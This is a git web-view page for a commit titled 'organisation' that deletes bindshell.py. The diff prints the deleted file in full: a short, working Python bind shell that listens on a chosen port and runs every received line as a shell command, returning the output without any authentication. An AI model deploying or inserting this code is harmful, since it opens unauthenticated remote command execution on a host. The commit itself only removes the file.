summaryrefslogtreecommitdiff
path: root/bindshell.py
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2025-10-12 17:41:22 +0200
committerjerome <jerome@xlinfo.fr>2025-10-12 17:41:22 +0200
commitba41fa46e69dbb264dfbed1b9fca5daab44a07c7 (patch)
treed9c6eeee3a32b0d5a004f2846882868c29ba531c /bindshell.py
parentec7b5913698416b775665a871a0d4102b47c680c (diff)
downloadpython-ba41fa46e69dbb264dfbed1b9fca5daab44a07c7.tar.gz
python-ba41fa46e69dbb264dfbed1b9fca5daab44a07c7.zip
organisation
Diffstat (limited to 'bindshell.py')
-rw-r--r--bindshell.py31
1 files changed, 0 insertions, 31 deletions
diff --git a/bindshell.py b/bindshell.py
deleted file mode 100644
index 5213002..0000000
--- a/bindshell.py
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/usr/bin/env python
-
-import sys, os, socket
-
-def bindshell(port):
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('',port))
- s.listen()
- conn,addr = s.accept()
- while 1:
- data = conn.recv(1024)
- reponse = os.popen(data.decode().strip()).read()
- conn.sendall(str(reponse).encode())
- except KeyboardInterrupt:
- s.close()
- finally:
- print("bye")
-
-if __name__ == "__main__":
- try:
- bindshell(int(sys.argv[1]))
- except IndexError:
- print(f"{sys.argv[0]} demande un port en agument")
-
-
-
-
-
-
-